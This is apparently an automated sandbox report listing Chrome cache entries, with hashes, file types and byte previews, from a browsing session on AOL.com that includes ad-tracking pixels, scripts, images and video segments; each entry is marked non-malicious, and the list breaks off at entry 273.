Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>............-o..V.%.C4.....:...C.2D.&..^N.y.O..;..........$........O...P........9......n.T_...c...sg.\|...\|...0.B.2..R....ms.=.$.=..g..]Ic....+..Q@n..a/%@l..9.Mws..D.).......B5...R@mWh.H,5....%W`}...,r.;.UG..\...@,..m..7T.Q. ...#/.........}.@...#ff..3....@........D2?]......@m(.......Y..b..v<...Ui.[v..A.Y]..V....Ga.......&.)...=..v3+ ..e..s.^d....h..\.dA.?^)...............X\|.2....(.G.....9...[d.......)>.-p#h....,,.!.c.......%..?....wH.wG.0.....ZD...q..h?u..p#..f.........X.U3...t..G....7U..y..)BO......b..[..'.....wc.T....I...'Qo8..P.M5.W......&\6..X.9.{H.o..e.c.O)....'.%.!....."..8.....4..]..?q.N?.o..is8.%.2..(..u}...=........(.W.}......w..<.....'..d.3)......V...kp/D..9...NQD.o.5.... 2....u!.i0."(.v....v....b..2.x1}`f)v......0M}$.:Q{.........k...I.j+..'..$.q

Chrome Cache Entry: 255

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	664
Entropy (8bit):	4.654474309626
Encrypted:	false
SSDEEP:	12:hYxu3VHdyC/3KDVU4dtzSwVaRfmfY3fb32FA4Nbx8QL:hYElHMiKhHz+ia94Yvj2FA4NF
MD5:	8B140F0F0F6E1A0F986CC7D6DFD74D65
SHA1:	E75B9E716E6DF29768EACFA27332F62144BDDA0C
SHA-256:	AE57797F708333552A13BCD7293180163E6F38FD11B1A8CD5AA8F05421E5B8FA
SHA-512:	BF71C5810BE6018D6C5564D4A11965F3543C458CA0AC755C4531796A14AC0A322CB838C4064C344643B0C53CD5074BE7FE6DA48AE6EBDD33B8ED610FEC46D4DF
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/libtrc/static/topics/taboola-browsing-topics.html
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Taboola Topics Frame</title>. <script>. (async()=>{. var s=document.referrer;. if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics")). try{. var e=await document.browsingTopics();e.length&&parent.postMessage({topics:e},s). }catch(e){. parent.postMessage({error:e.message},s). }else parent.postMessage({policyMessage:"Topics not allowed in document feature policy in: "+s},s)})();. </script>.</head>.<body>.<div></div>.</body>.</html>.

Chrome Cache Entry: 256

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	354
Entropy (8bit):	6.624288456317598
Encrypted:	false
SSDEEP:	6:6v/lhPfanDLGuaRzRq2W/dg+os5oglGksNx+RsOlI6tyF4PFM6GsCtiJjmHxDQ3f:6v/7qLGuaR9nWK+noTx/le9MXJtBHJQP
MD5:	4E60D49658A9F45ADEB0F4A371574F52
SHA1:	460B58EF85F4966E87521A375524BC4D61D22582
SHA-256:	794054A00504519338C27752BE5316A79C24707EA375CE52E871A89F4FF77AA9
SHA-512:	816AC9C4845B91DA19AB70B8AFA8DFF912AA0031FD47BE5823E1E713B26C7E70AFEA6B421A9A8DF355CB03CC187D5F311913A3D9E99271F70D4B5A36F5EA2F4A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............(-.S...iPLTEGpL....HQ..........................................OOO.........:::...wwweee.........kkk......111XXX.........9....tRNS...1....1.........IDAT..U.... ....B..........\,-...S4...`\|..*4.h...sb.9.V.".H...{..a..^.&....<..E).\g.=...6uI.('.w.}..GR..+......TXy.:..i...!..........v..[...=...v...{.....D.....IEND.B`.

Chrome Cache Entry: 257

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
URL:	https://pbs.yahoo.com/setuid?bidder=ttd&uid=3e077bb4-bf4a-4c19-933e-c98ddd88142e&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 258

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 259

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	16648
Entropy (8bit):	7.957918736878458
Encrypted:	false
SSDEEP:	384:YMlGOkx4mUMu3IY4GNj6mJ37kIgkU1y7FZsEvs:96Wmnu4Ntg7DFA
MD5:	09681765D2AE8601A7AA05749576686F
SHA1:	BAB629D318397BEE9A004BD58261F1EBC8A46297
SHA-256:	653EBB59A4C05C9776B2E9D2C72E8A240836135E47EDF2D3F9A63A1C7B14E18D
SHA-512:	B27C505EEEC2661DD706BC19E4DA40F414C36B06ED3CB4ED0FB38007C109685D09FFE7C4A2659719746990CB14CF504F9554B8A2B91B30E4C25CBA790FB789A4
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/35s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/35s/match/image.jpeg*~hmac=996adfd8b883590508f6c6a3f9e1589a9259b626a33ef58251c5320f02cf1c06
Preview:	......JFIF..............Lavc60.3.100...C....................................#,%.!!..&4'./121.%6:60:,010...C...........0 . 00000000000000000000000000000000000000000000000000..........."........................................B.........................!1A..Qa"2q.#B....R...3..Cb...$4DTr%5..................................)......................!.1A...Q"2a..#Bq.............?..LS.i..."r..Rm.D.g`.0.Z.>...~c..jd..cV..;\...N.E.M."N9.....+...@^j3.p..z.E"..-.O..4...[.<.FMV..Y..vYXc."#..h.S5..A..U...1X...k..=h.6b..8q\...k#....F..U.r..t....vN)..4...M.sE...i..E.b.WSOn...(...G4qAf..I..y/. fN~....W..q.YxTT{.B.O.u.n....9y.).1.X.s..TrH.yX.1.I.#..%../.\|E5.E..t.nX...V...\|.....E<.QbR...Mn.ZF.M....rOaR!F'i.2..F.&...X.j(..6 w.SLE..PBwI.\S...kh..od_z..S..z.qT...S........Vc.1.l.......y..... ......D.....qp......)P..y.. ....,.....?.a.p.GB.e..i....it.Z.W.o@..;d...Q.....tD:.../.V.D.......f.=(.-...3.&.8%{V~.3&.$Q.f.5m#$..H'.....X.....C.)M.4v....R...qY..Vkl$.{...?..&..7. a.w

Chrome Cache Entry: 260

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	123712
Entropy (8bit):	7.998645825002491
Encrypted:	true
SSDEEP:	1536:0yL9SMfqdLXr3hb947r6O3m9W2O/mAQ0vR6M8x5tVMC1QllxXXa8QIXYX8Fh9yzi:0A9W7p9S/pgAQ3M8FmNpdosAs/
MD5:	8F59D042664A1CFD628745DF967706FF
SHA1:	A89801C84257CAD152F12E353C033477D8B46698
SHA-256:	E1F550734E259CBEC8B610FB7E76ACFB14462134AF4E1FC0BED3C7C7BE4C4637
SHA-512:	73BE325001E38955180738F2C5663D4BAF5F8D9BD71AA96C403F145571166E73E8A497B48E97F8B76203C518C253E64828455559864F491899B15467EBFA637A
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/3x/segment2.ts?akamai_token=exp=1716526298~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23dfbde
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>..LY(_/.....J8.8Z._Oh........B.....>.....iQ..WCO.]2..V]=.....~..!Z..Q.e@........X..>-..ct.....M....%..o.wB.P...B.mVb...8..@.$........A=.....y..j<...zC.....,.Rdbjg./a.J...h...L...`".1.lh..n.)....".....+.Y^...B....+...n.n.f,<uLN..->.(8...=.LM......Wg....../.B..Gxo.39)L)..IU.O..b.........A..h..iR&$86.0=^.zh6Qlj.....i.........P\I.x.....T.#.<+..5Hv.....7_..6e.0..\|.s.w:..m.^...v.........:...l...Q:...=.]..+?Y..-....uE.~..Qr^.;.S..hd....R.dr.S.J..l'...;oz..[H...%...._>6..S..5._.U.L.C...R.>.a..4>..@.7..yC.j;.YA.-....@.sN..J..b...uOn.O_.#!..]6.3/.7..y.[.M.Z.1......QR.2....3...y.....y.p...S$...q.X}2..VR......u....I.,..,.~2G.^.K.m..>.<:...\|...F.0.._....'1.+.l..t.<._....7.VO...y.u{.7......T.92c.C.....)..CMK....p..;...G.}..]Hg..H....._.Z..w.;h....C.HY..&.YR..b...y.m.

Chrome Cache Entry: 261

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 262

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3993)
Category:	downloaded
Size (bytes):	4032
Entropy (8bit):	5.171590354811352
Encrypted:	false
SSDEEP:	48:YozhS8pv0kSqguti9GmqiiLmQNlzQAxuFpmT2DoGu8EGQtTLS1LDHR3OsQGb4DCR:3hDId95qnqszQuuFps2DCpByDw95QOM
MD5:	37C5E1A2F6118A291C63026B77E2338F
SHA1:	DDB96F160C878F56818D22114FCD46AEF1D0028D
SHA-256:	1129D51B80654F4A7A7495426BB1C0DF09CAF512C9A906CC2C365755E858C2E7
SHA-512:	80CADAF156664AD0A5603F0995562C1F5D7A979841E755930FA431D96FEBF2D1A29F7E877227C27C6C30FA80E143845862395B66D5099C7603EE74E269155DA7
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/dispatcher.37c5e1a2f6118a29.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"use strict";var e={d:function(t,r){for(var n in r)e.o(r,n)&&!e.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:r[n]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r:function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};function r(e){return r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},r(e)}function n(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Objec

Chrome Cache Entry: 263

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 264

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=&ct=y
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 265

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3328
Entropy (8bit):	7.9073035026964895
Encrypted:	false
SSDEEP:	96:6xOWKNAghbnUwL0H8W7x5FlQ4uyWxPkpBjhwIiQRcIW:6xOWGAWbUaujPGyLpBjhwIi6e
MD5:	99F89D94EBCFF9A04EF4C4174C7BC13A
SHA1:	E3C04F617638DD5E9ACFB7E3C970B7CD2A72DC21
SHA-256:	E4D7AD9F57F6CFAB7610B8B0855C7937F5EC119BE17AC6CF6377553C5E735F98
SHA-512:	2529E4430753AD3D8CC53A3E16141BF46C18849E699F09E5B91A1F5864CAEACA0548042BF8884B7CFC033765031118343E15125489F270A5E0F9949B407432BD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......w8....sRGB.........IDATx...lUW...+....q..S......`esB.......!@[hg.Nc0sn..iD..B..qA.1.....9..7.t..B..[.l].@.~~......s.y.O.$...s~....;...y}".jkk.G.%yyy./_...s#..jjjNE...)\WW..x<....[u...X.t......a...]A.~...........?...Z...).\.pa.@.....2..!..0.G...,m.S....\|. li.r...../P.x...5..../..:....D..].../.~BI...gz..@.._.N.o...4.J...........C..m...z..=..r..Y..... ;..$..q5..a..j)b.....&c\|.m.N.b......7\.t.Id... ...\..\|.nD...,@....\O....s.~..V.(......yk\|oy.....3lL.i........k..&...S...`.fs...+.u..;}...2./..%..b.v.........^.((.\|EE.........L.m..k...oU(!..q...P..\|..3%.L.s.4On.Ia.....N.M...<UK7.}.y.Y...]tI.$.v.9w.iW.M..eJ.[.J..a..7.K.[}..%...:m......$.....&.$t..v....1.~.-}.N...q.!.q.`.tG.+v...C.&......[n..i..G.ygF..\`&.....p..^vJ.....0...m.....+s..m...!.....$.......T.D.8..0.G..r......nM......\|....mXn.K..-[.0i..j'......A..d.=.O...0....lq./P..%.....$.\u.\|.;."..f)`.%h..yj..\|2....7.[6gH[I...\|.i..P*o..)....{.6.x<....\|....\|+3

Chrome Cache Entry: 266

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2169
Entropy (8bit):	7.545769153313181
Encrypted:	false
SSDEEP:	48:UYidb2d/MqALfYZFs3jGOYmHoBZybWFBiFi3PRTSCJCHncW5r2fPqk6:Ul2uxjIs3SOYvZyxifRQncWd2fPC
MD5:	1B92903762466100340083C301A95DB7
SHA1:	C815C954F5C0F2891BDA5D8DA465DF8FADD5537E
SHA-256:	1783806348CAE7654CAADB442C3E1E64280554F1A18F1492C4E705E0AB13F458
SHA-512:	A75486A2BC9522B138D735E5F1E4CA93EFFF1F44DD7AED7804F19E6438C69CCE10C07336E9B2990F4E5F1BB2F583EF70B9D8EA5A2888FD84BFA6BD12DC8D25BB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL..............................................9'............................................................................................................................................9'.....9'.9'......9'..........9'.9'....................................................F.............u%....]......I..E..C..U.'...A.p#....:..,....D...m"..P..B..=..M..}L.D....E..(..F..1.....W..O...].d*..K..$...5.@..i!.....<.=..c..T..H...>..c./.....uA.G.N.....U...Y..4..7.8...;.{{{.2..+..WB...?.1...3..Q.).C...lr$.4...4....8.Q.....q.k....n8.6..zH.p:.8.E...@.Z.......6...._...-...@.......T.....@..uBCCC.=...\.bbb]]]...,,,OOO.^".ha...........$$$.h0.v......jjj......f ................/...{"""._$...-...wD......tttuuu...???....{'.....hhh.......^]$...^tRNS....o.~.. W`?..[}.f/.c....<..H..6.slQ..#3.].w...8..J.....C.......S.+.........F...L...$.&....IDAT.....T.w...?y)A.svw.{n...n_......n.;0.[...:.]g.......<.?.5.......,<...g.

Chrome Cache Entry: 267

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://widget.us.criteo.com/dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 268

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=1&ns_ap_ev=start&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_csf=1&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=view&ns_ap_gs=1716503700613&ns_ts=1716503700612&ns_ap_cfg=11101001-110-3C-7D0-A-1F-1E-1E-12C-A&ns_ap_env=0-0-2&ns_ap_ut=60000&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_ap_ar=unknown&ns_ap_cs=1&ns_ap_fg=1&ns_ap_dft=0&ns_ap_dbt=0&ns_ap_dit=0&ns_ap_as=1&ns_ap_das=0&ns_ap_usage=0&ns_radio=unknown&cs_ucfr=1&ns_ap_install=1716503700613&ns_ap_ft=0&ns_ap_bt=0&ns_ap_it=0&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_ap_jb=unknown&ns_c=UTF-8&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 269

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	48
Entropy (8bit):	4.785701501208653
Encrypted:	false
SSDEEP:	3:YEOBHQqBuXlg6ISeV+36:YEOBpu1/ISeV+36
MD5:	18A252E4860D6FF9D755FC7F83920AAE
SHA1:	663BA8E984AF3F086529E784BCE13AD73D6D26F5
SHA-256:	6DAB2178617D8B022987F81E0F8BBEC2482F3730998D037AB01E7A65025338EE
SHA-512:	24B250A002746835AF32E96C045159B3343D0B04ABFC5070C6921D94A51C6FFFEAFD45787540C12E70949505475FD02C57A3735971A32ACD6EA74CE7986617F1
Malicious:	false
Reputation:	low
URL:	https://ups.analytics.yahoo.com/ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN
Preview:	{"axid": "y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A"}

Chrome Cache Entry: 270

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	12683
Entropy (8bit):	7.959261419964227
Encrypted:	false
SSDEEP:	384:S4ZH09Sp627/uVne2kRV8o5kkJugJSy2KNdx:zZU2p/qn2O/kVIgNdx
MD5:	791C564D8647B1EF8C2D2A1185823ECD
SHA1:	0F7549829559CB82E09F24E225D286BD7A3B7BDA
SHA-256:	9B3A1CBEF263E256E4DC0E5C1259C728FFC5D7B4971B9ADA055864F615E00848
SHA-512:	10CB6763DA7141D0433ED74619C055DC9888D1AC39E2A3E4C6255A1D21011D5C7042BFB496F0F9D8BBDB3B446C30754F5205239E8A90BCD97CCA72225E093BF3
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/5s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/5s/match/image.jpeg*~hmac=182f3e919558807cbe14150cbb0673afb7bb0bee7ec51d91346354f4a50e4ede
Preview:	......JFIF..............Lavc60.3.100...C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************..........."........................................D.........................!1.AQ."2aq.#3R...r..$4BS.C...b....s.5T..................................%.......................!1.A3Q."2aq#............?..u4l.vw..D..>F..S...'....6\|....G.7..%.@.3.o.&v0d.7~..J.....$q.]v4....>F...R.J\|........T....B....<8.F.......W].(0...7.......A@..?....1..."Sd.8L...S..o...r@..?...A.0\|..(...p..7.4l...JD.U....o.~..1.7....)...l ......1....o$..%.c......G.s6D..Le.#...3...T..].....%..fo.~.^...E+]..x..e........i..r...M0V.]4Q.S.k.k[{....c%..6....k.{ ..f........?e..?.=..c.[6$.Lm,..7%}.....L../=.z/e....>^...e....W.....e....$$....@^....(..W6674..9..p.z...........y...b8{.8.?p..f...>....<l.......^m.n}..z...=.A^b..5..o..Y.,..G.A`.G...8Z.<l4.Z{...c..o.g.....B.H...#~.Ll...L...!%....P...d.`....>F.......S..R.G..#~._.>F.

Chrome Cache Entry: 271

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65255)
Category:	downloaded
Size (bytes):	275839
Entropy (8bit):	5.565858817653873
Encrypted:	false
SSDEEP:	3072:D04VJoYYNfo9wfnXj8h0nVNpWrhsSCz0qbVsQWX9T0KXoh1qQm6h1A9uLlGxbt:Q4VJoYYFo9wfnXjk4KXo86h1A9uLlGxx
MD5:	91EC6C93EAB61E4E45D3E12177C475FD
SHA1:	5B5368C96DB175457E9874C648B3E39D3D9817E6
SHA-256:	801DC09500B3864AD5DD2FFF1BC74A4F3757EE9A6E4437154D3D8B3E9A49D6EC
SHA-512:	106DA4C53761B6577D0ED29D42F75D5F90228053C4B3300987B262E50EFD79FB6A899C4D2C8A76EDD5C08B00A3BDA1E19622AAD1F9B27D8DC830350B57C287E7
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/rx/ev/prod/evplayer.js
Preview:	/! For license information please see evplayer.js.LICENSE.txt /.(()=>{var t={1556:function(t,e){"use strict";var i=this&&this.__spreadArrays\|\|function(){for(var t=0,e=0,i=arguments.length;e<i;e++)t+=arguments[e].length;var s=Array(t),n=0;for(e=0;e<i;e++)for(var r=arguments[e],o=0,a=r.length;o<a;o++,n++)s[n]=r[o];return s};Object.defineProperty(e,"__esModule",{value:!0});var s=function(){function t(t){void 0===t&&(t="anonymous"),this.name=t,this.l={},this.u=0}return t.prototype.destroy=function(){this.l={}},t.prototype.addEventListener=function(t,e,i){return this.l?this.p(t,e,i):""},t.prototype.addEventListeners=function(t,e,i){var s=this,n={};return this.l&&t.length?(t.forEach((function(t){var r=e.bind(i,t);n[t]=s.p(t,r,i)})),n):n},t.prototype.on=function(t,e,i){return Array.isArray(t)?this.addEventListeners(t,e,i):this.addEventListener(t,e,i)},t.prototype.removeEventListener=function(t,e){this.l&&t in this.l&&Object.prototype.hasOwnProperty.call(this.l[t],e)&&delete this.l[t][e]},t.

Chrome Cache Entry: 272

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	155457
Entropy (8bit):	5.167774030819128
Encrypted:	false
SSDEEP:	3072:esoL+hcfilxOvFUGpwzSVMPfchXlADW50XqN5WXtBKt8/eBgjb4dD75WDAlifc+f:b
MD5:	5A5E92D32C044529F643B0866F9F8B10
SHA1:	4561B8332035BD291C36BF11FB679D87A98C0F59
SHA-256:	485392BA727B15D3D0B523A68B0325191C0DA0CC06C7067744848CCFD5BE7C2A
SHA-512:	2A9B0FB5FD8E41579F1036E16C86075F0202A0EA010E9EEB6022B04FC6ED62D0D987C69A9EFF383855654EEAC7153F738A09B191D5399D31186DC0A5F070043E
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/common.5a5e92d32c044529.css
Preview:	:root{--mail-bgc:#f9f9f9;--text-base:#232a31;--text-gray:#6e7780;--accent-color:#0f69ff;--hover-color:#0e5ee6;--bg-accent:#fff;--bg-accent-dark:rgba(15,105,255,0.65);--mail-border-color:#fff;--mail-bg-new:#fff;--mail-bg-hover:#f5f8fa;--mail-border-style:none}@font-face{font-display:swap;font-family:_OpenSans;font-style:normal;src:url(https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Regular.woff2) format("woff2"),url(https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Regular.woff) format("woff")}@font-face{font-display:swap;font-family:_OpenSans;font-style:italic;src:url(https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Italic.woff2) format("woff2"),url(https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Italic.woff) format("woff")}@font-face{font-display:swap;font-family:_OpenSans;font-weight:700;src:url(https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-Bold.woff2) format("woff2"),url(https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/Open_Sans-

Chrome Cache Entry: 273

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
